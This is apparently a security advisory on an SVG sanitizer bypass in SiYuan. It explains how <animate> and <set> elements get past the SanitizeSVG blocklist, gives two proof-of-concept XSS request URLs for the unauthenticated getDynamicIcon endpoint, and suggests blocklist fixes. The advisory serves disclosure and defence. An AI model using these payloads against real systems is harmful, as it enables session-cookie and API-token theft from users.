Description

SiYuan has a SVG Sanitizer Bypass via <animate> Element — Unauthenticated XSS

SVG Sanitizer Bypass via <animate> Element — Unauthenticated XSS

Summary

SiYuan's SVG sanitizer (SanitizeSVG) blocks dangerous elements (<script>, <iframe>, <foreignobject>) and removes on* event handlers and javascript: in href attributes. However, it does NOT block SVG animation elements (<animate>, <set>) which can dynamically set attributes to dangerous values at runtime, bypassing the static sanitization. This allows an attacker to inject executable JavaScript into the unauthenticated /api/icon/getDynamicIcon endpoint (type=8), creating a reflected XSS.

This is a bypass of the fix for CVE-2026-29183 (fixed in v3.5.9).

Affected Component

File: kernel/util/misc.go

Function: SanitizeSVG() (lines 234-319)

Endpoint: GET /api/icon/getDynamicIcon?type=8&content=... (unauthenticated)

Version: SiYuan <= 3.5.9

Root Cause

The sanitizer checks attributes on elements at parse time. SVG <animate> and <set> elements modify attributes at runtime — these elements are not in the sanitizer's blocklist.

Sanitizer's blocklist (line 250)

if tag == "script" || tag == "iframe" || tag == "object" || tag == "embed" || tag == "foreignobject" {
    n.RemoveChild(c)
    // ...
}

Missing from blocklist: animate, set, animateTransform, animateMotion

Attribute check (lines 264-267)

// Only checks static attributes
if strings.HasPrefix(key, "on") {
    continue
}

The <animate> element's values attribute contains the payload (javascript:...), but the sanitizer only checks for on* prefix, href, or xlink:href keys. The values, to, from, attributeName attributes are all passed through.

Proof of Concept

Vector 1: <animate> sets href to javascript:

GET /api/icon/getDynamicIcon?type=8&content=</text><a><animate attributeName="href" values="javascript:alert(document.domain)" begin="0s" fill="freeze"/><text x="50%25" y="80%25" fill="red" style="font-size:60px">Click me</text></a><text>&color=blue

After template rendering, the SVG contains:

<svg ...>
    <text ...></text>
    <a>
        <animate attributeName="href" values="javascript:alert(document.domain)" begin="0s" fill="freeze"/>
        <text x="50%" y="80%" fill="red" style="font-size:60px">Click me</text>
    </a>
    <text></text>
</svg>...
Show more

The sanitizer passes this through because:

<animate> is not in the element blocklist

attributeName="href" — key is attributename, doesn't start with on, not href itself

values="javascript:..." — key is values, not href

When the SVG is rendered in the browser (navigating directly to the URL), <animate> sets the parent <a> element's href to javascript:alert(document.domain). Clicking "Click me" triggers the JavaScript.

Vector 2: <set> modifies event handlers

GET /api/icon/getDynamicIcon?type=8&content=</text><set attributeName="onmouseover" to="alert(document.domain)"/><text>&color=blue

The <set> element dynamically adds an onmouseover event handler to the parent element at runtime.

Attack Scenario

Attacker crafts a malicious getDynamicIcon URL with XSS payload

Attacker sends the URL to a victim who has an active SiYuan session

Victim clicks/navigates to the URL

SVG renders with Content-Type image/svg+xml — browser renders as standalone SVG document

JavaScript executes in the SiYuan server's origin

Attacker steals session cookies, API tokens, or makes authenticated API calls to read/modify notes

Impact

Severity: CRITICAL (CVSS ~9.1)

Type: CWE-79 (Improper Neutralization of Input During Web Page Generation)

Unauthenticated reflected XSS via SVG injection

Executes in the SiYuan application origin, giving full access to authenticated APIs

Can chain to: data exfiltration, note modification, configuration theft (API tokens, auth codes)

Bypasses the fix for CVE-2026-29183

Suggested Fix

Add animation elements to the sanitizer blocklist:

// In SanitizeSVG, line 250:
if tag == "script" || tag == "iframe" || tag == "object" || tag == "embed" ||
   tag == "foreignobject" || tag == "animate" || tag == "set" ||
   tag == "animatetransform" || tag == "animatemotion" {
    n.RemoveChild(c)
    c = next
    continue
}...
Show more

Or additionally check the values, to, and from attributes for javascript: patterns:

if key == "values" || key == "to" || key == "from" {
    if strings.Contains(val, "javascript:") {
        continue
    }
}

Also consider checking attributeName — if it targets href, xlink:href, or any on* attribute, the animation element should be removed entirely.

Mitigation

Aliases

References